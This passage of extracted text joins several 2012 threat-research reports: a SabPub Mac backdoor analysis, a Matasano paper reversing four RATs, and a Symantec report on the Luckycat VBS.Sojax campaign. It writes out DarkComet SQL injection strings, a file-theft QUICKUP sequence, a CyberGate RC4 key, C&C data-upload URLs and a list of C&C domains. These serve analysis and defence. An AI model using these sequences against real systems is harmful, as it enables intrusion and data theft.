This suggests iit was extracted from a Word document or was distributed as a Doc-file. +We performed an analysis of the same and traced its origin by the MD5 +(40C8786A4887A763D8F3E5243724D1C9). The results were fascinating: +- The sample was uploaded to VirusTotal on February 25, 2012 + from two sources in the U.S. +- In both cases, the original file name was +10th March Statemnet + (yes, with the typo and without +extension) +- Zero detections on VirusTotal at that time (0/40) +In case you are wondering, the name of the file ( +10th March Statemnet +) is directly linked with the DalaiLama and Tibetan community. On March 10, 2011, the Dalai-Lama released a special statement related to +Anniversary of the Tibetan People +s National Uprising Day -- hence the name. +Properties field of a document used to spread SabPub +Unfortunately there is little information in the doc files, but the Author field and the creation date are +interesting. In particular, if we trust the creation date, this means the container DOC was created in +August 2010 and it was updated in 2012 with the SabPub sample. This is quite normal for such attacks +and we have seen it in other cases, for instance, Duqu. +We think the above facts show a direct connection between the SabPub and Luckycat APT attacks. We are +pretty sure the SabPub backdoor was created as far back as February 2012 and was distributed via spearphishing emails. +It is also important to point that SabPub isn +t backdoor MaControl (the case was described here) but still +uses the same topics to trick victims into opening it. SabPub was the more effective attack because it +remained undetected for almost two months! +The second variant of SabPub was created in March and the attackers are using Java exploits to infect +target Mac OS X machines. +SabPub is still an active attack and we expect the attackers will release new variants of the bot with new +C2s over the next days/weeks. +To summarize: +- At least two variants of the SabPub bot exist today. +- The earliest version of the bot appears to have been created and used in February 2012. +- The malware is being spread through Word documents that exploit the CVE-2009-0563 vulnerability. +- SabPub is different from MaControl, another bot used in APT attacks in February 2012; SabPub was +more effective because it stayed undetected for more than 1.5 months. +- the APT behind SabPub is active at the time of writing. +* Thanks to Aleks Gostev and Igor Soumenkov for the analysis. +RESEARCH +pest control: taming the rats +Authors +Shawn Denbow +Twitter: @sdenbow_ +Email: denbos@rpi.edu +Jesse Hertz +Twitter: @hectohertz +Remote Administration Tools (RATs) allow a +remote attacker to control and access the +system. In this paper, we present our analysis of +their protocols, explain how to decrypt their +traffic, as well as present vulnerabilities we have +found. +Email: jhertz@brown.edu +Introduction +As 2012 Matasano summer interns, we were tasked with running a research +project with a couple criteria: + It should be something we are both interested in. + We should be able to present our research for the company at the end of +our internship. However, on completion, we decided that it would be best if +we made our findings public. +With John Villamil, our advisor, we decided that given our interest in low-level +analysis, we should analyze Remote Administration Tools (RATs). RATs have +recent seen media attention RATs due to their use by oppressive governments +in spying on activists and other +dissidents +. We felt this to be a perfect +project. +Remote Administration Tools are pieces of software which, once installed on a +victim +s computer allow a remote user to control and access the system. RATs +can be used legitimately by system administrators, or they can be used +maliciously. +There are a variety of methods by which they are installed on a computer: +Various social engineering tactics can be employed to get a user to open the +executable, they can be bundled with other pieces of software, they can be +installed as the payload of a virus or worm, or they can be installed after an +attacker gains access to a system through an exploit. Most of the commonly +available RATs are at least able to perform keylogging, screen and camera +capture, file management, code and script execution, power control, registry +management, and password sniffing. Wikipedia has a more complete list of +common RAT functionality [1]. +Our research focused on analyzing several publicly available RATs: DarkComet, +Bandook, CyberGate and Xtreme RAT. Interestingly, all of the RATs we +analyzed were coded either in part or entirely in Delphi. They all featured a +reverse connecting architecture, as well as some form of cryptography or +obfuscation of their communications. In this paper, we present our analysis of +their protocols, explain how to decrypt their traffic, as well as present +vulnerabilities we have found. The appendices to this paper contain MITM +tools for decrypting traffic, as well as proof of concept exploits for the +vulnerabilities we +ve found. +Basic RAT Architecture +Most RATs employ a +reverse-connecting + architecture. +The +client + program, resides on the attacker +s machine and is used to control +a compromised system. If often features a full UI designed for ease of use. +In contrast, the +server + program is a much smaller stub which is installed on +the compromised computer. These servers feature no UI, and take measures +to disguise their presence. +On execution, the sever initiates a connection back to the client computer, +and remote control is then possible. The client program typically has the +ability to generate server stubs, which have the IP address of the client (the +command and control center) hard coded into them. +Some free versions of the RATs we investigated were feature limited to +producing server stubs that were not stealthy or could only connect to +localhost, with the ability to generate +full + stubs only available on purchasing +the paid version. Some servers had measures to defeat or disable antivirus +and firewall software on the compromised machine. +The DarkComet RAT +DarkComet is one of the most popular RATs in use today, gaining recent +notoriety after its use by the Syrian government [13]. The encryption method +used in DarkComet has already been extensively analyzed by various +researchers [2] [3], so we will not reiterate here. +We reverse engineered the DarkComet protocol and analyzed it for +vulnerabilities. +After a quick look at its protocol, it is easy to see that it uses a + as it +delimiter between string parameters. Although, there is no delimiter between +the command and the first parameter. +The DarkComet client stores information about servers in a SQLite database, +which is kept in the directory from which the client runs. This database also +holds usernames and passwords for FTP servers to which the client has been +configured to connect. When a new connection is established, a handshake +occurs which looks like this: +Notation +C->S indicates a message from the Client to the Server +S->C indicates a message from the Server to the Client +indicates the message is unencrypted +DarkComet Handshake +C->S: +IDTYPE +S->C: +SERVER +C->S: +GetSIN172.16.1.1|769734 +S->C: +infoesGuest16|172.16.1.1 / [172.16.1.128] : 1604|USER-3AA4AD4D2 / +Administrator|769734|0s|Windows XP Service Pack 3 [2600] 32 bit ( C:\ )|x|| +US||{HW-ID}|43%|English (United States) US / +5.3.0 + Copyright 2012 Matasano Security. +All rights reserved. +-- |6/13/2012 at 2:45:59 PM| +For testing purposes, we wrote our own +server + which replied with the +following shorter SIN (Server Info) string: +infoesX|1|S|5|0s|W |x||US|I]|{7}|80%|E|6|5 +SQL Injection in DarkComet +By attaching a debugger to the client, we were able to view the SQL strings it +generated by the client to query its database. Upon connection with the +above SIN string, the following SQL statement is executed: +"SELECT * FROM dc_users WHERE UUID="{7}" +If that UUID is not in the database, the following statement is executed: +"INSERT INTO dc_users VALUES( "{7}", "1", "S", "W", "0")" +If that UUID already exists, then the following statement is executed: +"UPDATE dc_users SET userIP="1" WHERE UUID="{7}"" +There is no input validation or sanitization, so all of these SQL statements are +injectable with the following caveats: + Executing multiple commands in one statement with +s is disabled, +anything after a + will not be executed + load_extension() is disabled +These can be used to modify data in the database. We did not further +develop these vulnerabilities to get information out of the database, as our +next exploit made doing so unnecessary. +Arbitrary File Read from the Client +s File System in DarkComet +DarkComet uses a protocol that we have termed +QuickUp + in order to do +ad-hoc uploading of files. For instance, the client has a feature which allows +you to edit the compromised computers +hosts + file. This is done by +downloading the hosts file to the client computer, editing it, and then +uploading it back to the server. The last part of that exchange uses the +QuickUp protocol, and looks like this: +DarkComet QuickUpload +C->S: +QUICKUPC:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\SynHosts.txt|752|HOSTS +A new connection between the client and server is now established to +handle the file transfer. The old connection is not closed first, the existing +socket just has connect() called on it again +C->S: +IDTYPE +S->C: +QUICKUP752|C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\SynHosts.txt|HOSTS +C->S (U): +\x41\x00\x43 +C->S (U): +LENGTH_OF_FILE_IN_BYTES +S->C (U): +C->S (U): +RAW_DATA_OF_SPECIFIED_FILE +S->C (U): + Copyright 2012 Matasano Security. +All rights reserved. +Note that the protocol consists of two stages, the QUICKUP command issued +from the client, which establishes a + connection, and the QUICKUP +command issued from the server, which begins the file transfer. Most +importantly, after the new connection has been opened, the server requests +the file to be uploaded. Three major weaknesses are present in this +implementation: + There is no check that the file in the client QUICKUP is the same as the file +in the server QUICKUP + The client responds to a QUICKUP commands, even if there was no +corresponding QUICKUP from the client + The client allows the server to specify the absolute path +This flaw allows the retrieval of any file on the filesystem that it has +permissions to read. So for instance, to get a dump of the SQLite database, +we can do the following: +(1) Connect to the server and successfully complete the handshake +(2) Open a new connection over our old one, the client will now reply: +DarkComet SQLite DB Dump +C->S: +IDTYPE +We now send a QUICKUP command unprompted +S->C: +QUICKUP111|comet.db|UPLOADEXEC +C->S (U): +\x41\x00\x43 +S->C (U): +C->S (U): +LENGTH_OF_FILE +S->C (U): +C->S (U): +RAW_DATA_OF_COMET.DB +Any file in the DarkComet directory can be read this way. Alternatively, +absolute paths can be specified, allowing read access to any file on the client +filesystem (that DarkComet has permissions to access). +Reading +C:\secret.txt + from Client +s File System + Copyright 2012 Matasano Security. +All rights reserved. +Reading +C:\secret.txt + from Client +s File SystemOverall, this presents an issue +for anyone using DarkComet. If a server sample is discovered, it is trivial to +retrieve the key from the binary that is used in the network communication. +The key retrieval process can even be automated [4]. Recently, the developer +of the RAT has quit any further development due to its misuse, therefore +leaving this issue unpatched [12]. +For a stub server (written in python) that can exploit both of these +vulnerabilities, see Appendix A. +The Bandook RAT +Bandook is written in a mix of C++ and Delphi [5] [6]. The server is able to use +process injection, API unhooking, and kernel patching to bypass (some +versions) of the Windows firewall. The server itself is fairly limited in +functionality, but has the ability to be extended through a plugin architecture: +the client can upload plugin code to the server. The client comes with several +plugins which need to be installed on the server to enable full functionality. By +default, the server attempts to hide itself by creating a process based on the +default browser settings. +It lacks any real cryptography to protect its traffic. Instead, it obfuscates its +traffic by XORing against the constant 0xE9: +XOR Loop with Constant +Almost all messages are suffixed with + in cleartext: +Server Keepalive with +The client comes bundled with TightVNC 1.2.9.0, which has a publicly +known security vulnerability. More information regarding the vulnerability +and proof of concept code is available online [7]. +The latest public release of Bandook is v1.35, while the private version is +at 1.4. The public version was released April 2007, which makes it quite +old and outdated. It only supports up to Windows Vista, while the private +version supports up to Win7. + Copyright 2012 Matasano Security. +All rights reserved. +Reverse Engineering The Bandook Protocol +We will leave out the + cleartext suffix from our analysis. +Establishing a connection with the client is simple. The server will start by +sending one command: +Bandook Connection Initialization +S -> C: +&first& # 0d 1h 15m # Admin # +# 172.16.250.128 +/ WhiteHouse +#yes#yes#no#no#bndk13me#USA#no#yes#yes# +So a +first + command is used to establish a connection. The fields separated + correspond to info displayed in the client, such as IP, username, +uptime, and location. The fields marked yes/no correspond to whether the +server has a given plugin or not. +The keepalive is as follows: +Bandook Keepalive +C -> S: +&BANG& +S-> C: +&BAMG& +To see the protocol for additional functionality, we recommend using the +MITM decoder in Appendix B. To any researchers who are interested in +further work on Bandook, we have a fairly detailed set of notes on the +additional functionality protocols, which is available upon request. +The CyberGate RAT +CyberGate is another RAT written in Delphi. It +s also the only RAT we saw that +featured protection against reverse engineering. Using LordPE to obtain a +dump, you can see the following strings: +CyberGate Anti-Analysis + Copyright 2012 Matasano Security. +All rights reserved. +Both PEiD and Detect It Easy could not identify what packer had been used. +We worked on unpacking it, until we finally discovered a tool called +ProtectionID. This was able to identify the packer as Safengine Licensor. From +some basic research, we discovered that unpacking the Safengine Licensor is a +project in itself. Due to our time constraint, we found it would be best to +continue our efforts analyzing another RAT. +Before moving on though, we were able to uncover enough information about +its protocol from the server stubs we created (which aren +t packed). +Interestingly, CyberGate uses two different schemes for communication. +Communication from the client to the server is done using a variant of +base64. The messages are base64 encoded, except instead of the +canonical base64 string: +ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz01234567 +89+/ +the string used is +"0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwx +yz+/" +This is an obfuscation technique that is also common in enterprise +software; because the base64 dictionary has been scrambled, a standard +base64 decoder produces gibberish when fed the data. +The base64 encoded messages end with the string +###@@@ +, which when +replaced with + and then fed into a base64 decoder (working against the +custom string), produce cleartext. +In the other direction, messages going from the server to the client are first +compressed using zlib (at a compression level of 1), and then encrypted with +RC4 against the following key: +njgnjvejvorenwtrnionrionvironvrnvcg210public +They are then prefixed with the string +@@XXXXXXXXXX@@ +Based off of this information, we think it +s safe to assume the private version +will have some subtle differences in its communication. Most likely the key is +different, but the overall communication architecture is the same. + Copyright 2012 Matasano Security. +All rights reserved. +CyberGate RC4 Swap + Copyright 2012 Matasano Security. +All rights reserved. +CyberGate Handshake +S->C (U): +34|\n +S->C: +cybergate|Y| +C->S (U): +\x20\r\n +S->C (U): +C->S: +maininfo|cybergate|497125y5QX8qVHZ6KNoEzseP1UYFjR| +S->C (U): +S->C: (stripping out a lot of null bytes) +maininfo| +CGServer_EC3E266B172.16.1.128JESSE-3AA4AD4D2/ +Administrator-=WindowsXPProfessionalx32(Build:2600ServicePack: +3.0)*Intel(R)Core(TM)2DuoCPUP8600@2.40GHz511MBConsole +v2.3.0-Public4000CyberGateServerConsole2301UnitedStates/ +English"English(UnitedStates)"05/07/2012--15:24172.16.1.1:4000 +|#CGServer|cybergate|console1|Yes| +C->S: +configuracoesdoserver| +S->C (U): +S->C (U): +89|\n +S->C: +configuracoesdoserver|configuracoesdoserver|172.16.1.1:4000| +#CGServer|cybergate|console1|Yes| +Its keepalive looks like this: +CyberGate Keepalive +C -> S (U): +ping|S-> C: +S->C (U): +pong|CyberGateServerConsole###10157| +A MITM script that can decrypt traffic is in Appendix C. +Xtreme RAT +Xtreme RAT was another one of the RATs used by the Syrian government. We +haven +t seen much public analysis of Xtreme RAT. The guys over at malware.lu +published a simple article covering a sample they received in an email. Their + Copyright 2012 Matasano Security. +All rights reserved. +analysis covered identifying and decrypting config information from the stub +[10]. Our analysis will look into the communication protocol of the RAT. +Before looking at any internals, we opted to get a feel for the UI. On the first +run, users are prompted to enter a password. Once entered, the program asks +users to retype the password to confirm it. After doing so, a file named +user.info + is created in the same directory. This file is simply a unicode string +of the MD5 hash of your password. +Unicode MD5 Hash of Password in +So if your password is +, your user.info will contain the hash +a933d13f81649bebe035dc21f4002ff1 +. However, when we tried hashing + we found a different result (the correct hash is +202cb962ac59075b964b07152d234b70 +.) It turns out this is an issue that was +introduced in Delphi 2009, when the default string type switched from ANSI +strings to unicode strings. The MD5 implementation is not unicode aware [11], +leading to incorrect hashes. +When creating a server, we tried to change the password from its default +0123456789 +. It turns out Xtreme RAT limits your password to being only +digits. It also rejects any password that cannot fit in a 32-bit signed integer. +Well, that +s not making us feel very secure. +The public version also limits the user to creating a stub which can only +connect to localhost on port 81. It also includes an annoying nag screen +notifying the user that it is the public version. However, all the functionality of +the private version is present. In order to begin analyzing its communication, +we had to change the communication IP. First, a quick analysis of the server +stub. +The Xtreme RAT Server +The stub sets itself up using a classic technique found in basic malware. It first +uses CreateProcess() to create a new process (named based on the default +browser.) +CreateProcess() Based on Default +Next, it uses WriteProcessMemory() to copy code to the newly created process +(PE header starts at 0x1610000). + Copyright 2012 Matasano Security. +All rights reserved. +Copying Code to the Newly Created +It finishes the setup by simply resuming the thread using ResumeThread(). +After patching the process to have an opcode of 0xEBFE, which is an infinite +loop, at the point where the thread resumes, we attached a debugger and +noticed that the process begins packed with UPX. +Standard Entry Point +Unpacking is trivial from this point. Locate the JMP following the POPAD +instruction. +Standard JMP to OEP +This brings us to our OEP: +Original Entry Point for +After patching the dump to connect to a different address, and removing the +nag screen, we were able to start our analysis of the communication. +Xtreme RAT Communication + Copyright 2012 Matasano Security. +All rights reserved. +Xtreme RAT Handshake Overview +S->C (U): +myversion|3.6 Public\r\n +C->S (U): +\x58\x0d\x0a +C->S (U): +\xd2\x04\x00\x00\x00\x00\x00\x00\xa6\x00\x00\x00\x00\x00\x00\x00 +C->S: +maininfo??????###?" a?" a?" +apK8qxVwtQ7XBgCuT0bFldfRjaSLmhHPGJyirE5z2A431ZMYUe69WnDcsoNk90dd3e7e19b35baa +54015d0b4a08f2d0 +The communication of Xtreme RAT begins with the server making a +connection to the client. We then have the following: +Xtreme RAT Identify Message +S ->C (U): +myversion|3.6 Public\r\n +The client acknowledges by sending: +Xtreme RAT ACK +C ->S (U): +\x58\x0d\x0a +Communication continues with the client asking for info about the server. +Notice that before any message sent, the stub or client will first send the +password and length of the message to come, in little endian format. +Annoyingly, sometimes it sends this header as its own packet, sometimes it +comes prefixed to the actual content. And sometimes it prefixes the header +with an ACK of +\x58\x0d\x0a +. In this example, the password is 1234 and the +length of the message to follow is 166 bytes. +Xtreme RAT Password/Length Message +C -> S: +\xd2\x04\x00\x00\x00\x00\x00\x00\xa6\x00\x00\x00\x00\x00\x00\x00 +|-> Password = 0x4d2 = 1234 +|->Four bytes padding +|-> Length = 0xa6 = 166 +|->Four bytes padding +Now what follows is some zlib compressed data with size 166 bytes. Note that +sometimes our MITM script fails to decode the zlib compressed data, for +reasons unknown to us. After decompression we have the following: + Copyright 2012 Matasano Security. +All rights reserved. +Xtreme RAT Maininfo +maininfo??????###?" a?" a?" +apK8qxVwtQ7XBgCuT0bFldfRjaSLmhHPGJyirE5z2A431ZMYUe69WnDcsoNk90dd3e7e19b35baa +54015d0b4a08f2d0 +Breaking it into its parts we have: +Xtreme RAT Maininfo Dissected +CMD: +maininfo +SEPARATOR: +\xc2\x00\xaa\x00\xc2\x00\xaa\x00\xc2\x00\xaa +\x00\x23\x00\x23\x00\x23\x00\xe2\x00\x22\x20\x61\x01\xe2\x00\x22\x20\x61\x01\xe2\x00\x22\x20 +\x61\x01 +RANDOM STRING: +pK8qxVwtQ7XBgCuT0bFldfRjaSLmhHPGJyirE5z2A431ZMYUe69WnDcsoNk +MD5: +90dd3e7e19b35baa54015d0b4a08f2d0 +The random string is just that, a random string of length 0x3B or 59. It +generated using the character set: [0-9],[A-Z],[a-z]. The hash is the incorrect +MD5sum of +XtremeRAT +. This will always remain the same (at least for the +public version 3.6). +What follows is a response which contains some information about the system. +It follows the same protocol as before, with the password and length header, +and the remaining message being compressed with zlib. After this response, +the stub is now connected to the client, but will continue to send more info, +such as a screenshot of the desktop and a list of any webcams installed. +At this point, a full connection is established. The client will send a keep alive +while idle, which looks like the following: +Xtreme RAT Keepalive +C -> S: +ping +S -> C: +pong|937|Current_Window (Server_Name) +Also worth noting, Xtreme has the ability to try to disguise its handshake as +HTTP. In which case, its opening request will look like (with the default +password): +Xtreme RAT GET Request +S->C (U): +GET/1234567890.functions HTTP/1.1 +Accept:*/*Accept-Encoding:gzip,deflate +User-Agent:Mozilla/4.0(compatible;MSIE7.0;WindowsNT5.1;Trident/ +4.0;.NETCLR1.1.4322;.NETCLR2.0.50727;.NETCLR3.0.4506.2152;.NETCLR3.5.30729;. +NET4.0C) +Host:172.16.1.1:4000 +Connection:Keep-Alive + Copyright 2012 Matasano Security. +All rights reserved. +Conclusion +RATs represent an under-researched but highly active area of malware +in the +wild +. With both governments and non-state actors using RATs for +surveillance, knowledge about them carries increasing significance. A good +understanding of their protocols is critical to network and system +administrators deploying tools that can notice the presence of a RAT. +All of the RATs we analyzed were written in Delphi. This gave the RATs some +resilience against classical security mistakes (buffer/heap overflows) that are +much easier to make in a language like C or C++. However, we still found +serious vulnerabilities in DarkComet, which was the most widely deployed of +the RATs we studied. Our analysis of the communications should provide a +solid foundation for other researchers interested in further reverse engineering +and vulnerability research on RATs. +Some notable coincidences in behaviors between RATs (use of Delphi, using +the + character as a separator, similar UIs, use of zlib, use of RC4, and other +protocol similarities) may suggest shared code, although we do not have +enough evidence to make any definitive statements on that subject. +Special thanks to John Villamil (@day6reak) for his guidance and +knowledge on this project, and to the rest of the Matasano Security team! + Copyright 2012 Matasano Security. +All rights reserved. +Security Response +The Luckycat Hackers +Contents +Overview............................................................. 1 +Technical details................................................. 2 +Attack vector................................................. 2 +VBS.Sojax...................................................... 3 +C&C server protocol...................................... 4 +Victims........................................................... 5 +The attackers................................................ 5 +Conclusion.......................................................... 6 +Symantec protection.......................................... 7 +Appendix............................................................. 8 +Recommendations........................................ 8 +MD5s of VBS.Sojax samples......................... 9 +Infographic.................................................. 10 +Overview +A series of attacks, targeting both Indian military research and south +Asian shipping organizations, demonstrate the minimum level of effort required to successfully compromise a target and steal sensitive +information. The attackers use very simple malware, which required +little development time or skills, in conjunction with freely available +Web hosting, to implement a highly effective attack. It is a case of the +attackers obtaining a maximum return on their investment. The attack shows how an intelligent attacker does not need to be particularly technically skilled in order to steal the information they are after. +The attack begins, as is often the case, with an email sent to the victim. +A malicious document is attached to the email, which, when loaded, activates the malware. The attackers use tailored emails to encourage the +victim to open the email. For example, one email sent to an academic +claimed to be a call for papers for a conference (CFP). Academics receive +dozens of CFPs every year. If the victim has previously presented at that +particular conference, or is interested in the subject matter, they are +quite likely to open the CFP. Another email sent to a maritime organization claims to contain details of an alert beaconing system. Again, this is +a relevant topic for the recipient. A judicious choice of email topics and +recipients by the attackers is the most effective way of compromising the +target and also maintaining a low profile. Fewer, more effective emails, +which do not draw attention to themselves, allow the attacks to continue +undetected for as long as possible. Discreet malware also aids this cause. +After the email attachment has been opened by the victim, the malware, +VBS.Sojax, is activated. The attackers chose a very simple technique for +The Luckycat Hackers +Security Response +their malware. Rather than using a compiled programming language to write the back door Trojan, they used +a Visual Basic script. Scripts are very simple to develop, requiring less expertise and time to develop than a +standard back door Trojan. The script itself is quite simple. It connects to a command-and-control (C&C) server +to retrieve commands and upload data. HTTP is used to easily pass through firewalls. The script functionality is +basic; it can run commands and it can upload and download files. This is enough to retrieve any information the +attackers want. Again, minimal effort is expended for maximum gain. +The same ethos is shown with the choice of C&C servers. C&C servers are a potential pitfall for the attackers as +it may be possible for an investigator to track the attackers using registration details for the C&C server. This +is the case when the attackers register and pay for their own C&C server. A commonly used alternative is for +attackers to commandeer an innocent third party server for their own purposes. This requires effort, however, +as the attackers must firstly locate and then hack into the server. The Sojax attackers use an approach that +requires much less effort. They use free Web hosting. There are hundreds of free Web hosting sites that require +little or no registration information. Once the attackers have registered the free service, they create a directory +and upload a PHP script that acts as the C&C server. They then modify their malware scripts to use this new URL +and email the scripts out to targets. Symantec identified 25 C&C servers. Only two or three of these were active, +the rest had been abandoned. Several partial listings of stolen file names (not the files) were retrieved from the +server, along with the IP addresses of compromised computers and the IP addresses of the attackers. +The vast majority of the victims were based in India, with some in Malaysia. The victim industry was mostly military research and also shipping based in the Arabian and South China seas. In some instances the attackers appeared to have a clear goal, whereby specific files were retrieved from certain compromised computers. In other +cases, the attackers used more of a +shotgun + like approach, copying every file from a computer. Military technologies were obviously the focus of one particular attack with what appeared to be source code stolen. 45 different +attacker IP addresses were observed. Out of those, 43 were within the same IP address range based in Sichuan +province, China. The remaining two were based in South Korea. The pattern of attacker connections implies that +the IP addresses are being used as a VPN, probably in an attempt to render the attackers anonymous. +The attacks have been active from at least April 2011 up to February 2012. The attackers are intelligent and +focused, employing the minimum amount of work necessary for the maximum gain. They do not use zero day +exploits or complicated threats, instead they rely on effective social engineering and lax security measures on +the part of the victims. Security awareness training and a consistent patching strategy would have protected the +victims from these attacks. +Technical details +Attack vector +The attacks are initiated by +email. Symantec.cloud has +detected several emails distributing the VBS.Sojax back door +Trojan. Two example emails are +shown in figure 1. +Figure 1 +Example emails +Most of the emails are fairly +well tailored. The two examples +shown here are probably the +most targeted ones. Other +emails topics are about salaries + a fairly common topic used in +targeted attacks. The emails are +nearly all sent from Gmail, which +does not store the originating IP +address. Two of the emails were +Page 2 +The Luckycat Hackers +Security Response +sent through Yahoo mail, which does store +the originating IP address. The source IP address for both of these emails was the same + an IP address located in Germany. Other +independent reports show this IP address +as an originator of spam and thus may be an +open relay. +Figure 2 +Samples & emails over time +The breakdown of emails detected by Symantec.cloud and samples per month is shown in +figure 2. These numbers represent the minimum number of emails sent by the attackers +as not all victims are using Symantec.cloud +services. +Figure 3 lists the number and type of exploit +used by the attackers. The exploits are all old, +publicly available, and patched. The vast majority used are PDF exploits. Sixteen samples +exploiting the CVE-2010-2883 vulnerability +have been located, with only one or two of +the other exploits. It may be that the attackers have more success with the PDF exploit +either because the target computers are not +patched, or because it is easier to obfuscate +the PDFs and prevent antivirus detection. +Figure 3 +Exploits used by the attackers +VBS.Sojax +When the dropper document, the .doc, .rtf, or +.pdf is loaded, it drops an executable to the +following location: +%ProgramFiles%\Common Files\Microsoft +Shared\update.exe +Figure 4 +A portion of VBS.Sojax +This executable is then run. When run, it extracts a script +from its resources and writes this script to the following +location %Temp%\~temp.vbs. This script contains the primary functionality of the threat. Figure 4 shows a portion +of the script. The simplicity of the script is plain to see. +When first run, the script obtains the following information: + A complete listing of all files in partitions from drives C through I + Network information (ipconfig /all) + Information about the compromised computer (systeminfo) + Processes running on the computer (tasklist) +It stores all of the output in the following folder: +%Windir%\NtUninstallKB +This data is then compressed into a .cab file and uploaded to the C&C server. VBS.Sojax parses the response +from the server, looking for three potential commands: + Upload files to the C&C server + Download files from the C&C server + Execute a command (figure 4) +Page 3 +The Luckycat Hackers +Security Response +The C&C server is then polled every 30 seconds for additional commands. To maintain persistence, VBS.Sojax +registers itself to be called on reboot using a WMI event. +C&C server protocol +When VBS.Sojax connects to the C&C server, it does so through HTTP port 80. If uploading data, it sends a HTTP +POST request to a script called either count.php or loveusa.php. This POST request is formatted as follows: +HTTP POST http://server.com/count/count.php?m=c&n=MACADDRESS +The MACADDRESS value is the MAC address of the compromised computer. To retrieve a command from the +server, the script then polls for commands specific to that MACADDRESS. +HTTP GET http://server.com/count/count.php?m=r&n=MACADDRESS.c +If there is a command, the command is executed and the results are uploaded to the server using a HTTP POST +request. It is a very simple protocol, there is no authentication. +C&C servers +So far, 25 C&C servers have been identified. They are listed in Table 1 and graphed in figure 5. The majority of +these C&C servers are free hosting providers. The attackers sign up for an account, register the sub-domain for +free, and upload their C&C server script to a count folder. +Table 1 +When a compromised computer uploads data to the count.php script using an +HTTP post, that data is written into a file in the same folder as the C&C server. +Although most of these files had since been retrieved and subsequently deleted +by the attackers, several files remained. Some of the remaining files were the +compressed .cab files described previously. Others were fragments of commands +and some stolen files. +Command and +Control domains +In one instance, several log files of activity on a C&C server were found. These +log files listed all of the files stolen by the attackers with respect to that particular C&C server. There was also a log file showing what appeared to be FTP +connections to the server from the attackers. +clbest.greenglassint.net +C&C Server Domains +2012enviroment.world.mu +charlesbrain.shop.co +dasauto.no-sports.de +footballshopping.shop.co +frankwhales.shop.co +Figure 5 +jeepvihecle.shop.co +Distribution of C&C servers +killmannets.0fees.net +lampaur.b2b.cm +lovesea-blog.co.de +lucysmith.0fees.net +maritimemaster.kilu.org +sawakastocks.tv4.org +shoesshopping.shop.co +shoppingfans.shop.co +skirtdressing.shop.co +toms.0fees.net +tomsburs.shop.co +vpoasport.shopping2000.com +womems.in.nf +www.fireequipment.website.org +www.goodwell.all.co.uk +www.lo[REMOVED]et.com +www.pumasports.website.org +Page 4 +The Luckycat Hackers +Security Response +Victims +From the log files and fragments of stolen data remaining on the server, it was possible to identify eight victims. At the time of writing, where possible, the victims are in the process of being notified and any information +retrieved passed on. Figure 6 shows the geographical distribution of the victims. Nearly every infection is in +India, with several others in +Figure 6 +Malaysia. +Distribution of VBS.Sojax victims +Victim industries were +military research, defense, +manufacturing, and maritime. The data stolen was +quite varied. In some cases +it appeared that documents +with suggestive names were +stolen, simply out of curiosity. For example, one stolen +document that had a military themed title is actually +publicly available from the +publisher +s website. +Other stolen files were +more serious. Two separate +victims had documents pertaining to the same military +technology. The attackers +were clearly targeting that technology. The attackers also stole source code from one of those two victims that +may have been related to the technology. +The attackers +The most useful information about the attackers is in one of the log files retrieved from a C&C server. This log +file appears to record connections to an FTP server running on the C&C server. The attackers probably use FTP +to easily retrieve stolen data uploaded to the C&C server. 45 unique IP addresses were identified in the log. Of +these, all but two are from the same ISP, based in Sichuan province in China. The remaining two are from South +Korea. Figure 7 shows a portion of that log. +Figure 7 +Connections from the attacker +The user LUCKYCAT is the attacker who successfully logged into the server. The connections by LUCKYCAT are +consecutive. Immediately after one connection is closed, a new one is opened by the attacker. A lack of overlap +implies that a single person or program is making the connections and not multiple people from different computers. +Page 5 +The Luckycat Hackers +Security Response +Despite this, the IP address used for the new connection changes regularly. In figure 7, during a period of approximately an hour and 15 minutes, four different IP addresses were used for six distinct connections. This +is unusual because if the attacker is using DHCP, generally an IP address will remain allocated to a particular +computer for a longer period of time. +A possible explanation is that the IP addresses used are the point of egress of a VPN-like service. The attackers +may be using a service through which they can route their connections. The service periodically rotates connections amongst a pool of IP addresses in order to render the attacker anonymous or implicate China as the +source of the attack. There are two potential reasons for the South Korean IP addresses. The first is that the IP +addresses are part of the VPN service and were assigned to the attacker as the service rotated through the range +of IP addresses available. The second explanation is that the attacker may have forgotten to enable the VPN by +mistake and connected directly to the C&C server. +Figures 8 and 9 show the log at the time that the South Korean IP addresses logged into the FTP server. +Figure 8 +First South Korean IP address +Figure 9 +Second South Korean IP address +In both cases, connections from the Chinese and South Korean IP addresses are around the same time. Either +the time overlaps as in figure 8, or the times are immediately consecutive as in figure 9. This suggests that the +connecting person, or program, is the same in both cases. +Conclusion +The attacks described are very simple. That, however, does not mean that they are not intelligently designed and +ultimately, highly effective. Using a scripting language to develop the VBS.Sojax threat cuts down on development time. It means less effort needs to be invested in attempting to prevent detection by antivirus software. +Similarly, using freely available hosting for C&C servers (theoretically) limits exposure. Old exploits are so well +documented and freely available that minimal effort is required to modify them for use. Such basic tools, in combination with targeted social engineering, proved to be an efficient combination for the attacker. These attacks +should not have succeeded on a properly secured network. Old exploits should have been patched and users +should have received adequate security awareness training. +Page 6 +The Luckycat Hackers +Security Response +Symantec protection +Many different Symantec protection technologies play a role in defending against this threat, including: +File-based protection (traditional antivirus) +Traditional antivirus protection is designed to detect and block malicious files and is effective against files associated with this attack. + VBS.Sojax + VBS.Sojax!gen1 + Trojan.Pidief + Bloodhound.Exploit.290 + Bloodhound.Exploit.357 + Bloodhound.Exploit.422 +Network-based protection (IPS) +Network based protection can help protect against unauthorized network activities conducted by malware +threats or intrusion attempts. + Web Attack: HTTP Adobe Acrobat CVE-2010-0188 2 + Web Attack: Adobe Flash Embedded SWF CVE-2011-0611 + Attack: Adobe Reader TTF File CVE-2010-2883 + Attack: MS Office Word RTF Exploit CVE-2010-3333 + HTTP MS Office Word RTF RCE 1 +Behavior-based protection +Symantec products with behavior-based detection technology can detect and block previously unknown threats +from executing, including those associated with this attack. Files detected by this technology will be reported as +Bloodhound.Sonar.9. +Reputation-based protection (Insight) +Symantec Download Insight can proactively detect and block files associated with this attack using Symantec +extensive file reputation database. Files detected by this technology will be reported as WS.Reputation.1. +Email-based protection +The Skeptic heuristic engine in Symantec MessageLabs Email Security.cloud can detect and block emails that are +associated with this attack. +Other protection +Application and Device Control + Symantec Endpoint Protection users can enable this feature to detect and +block potentially malicious files from executing. +Page 7 +The 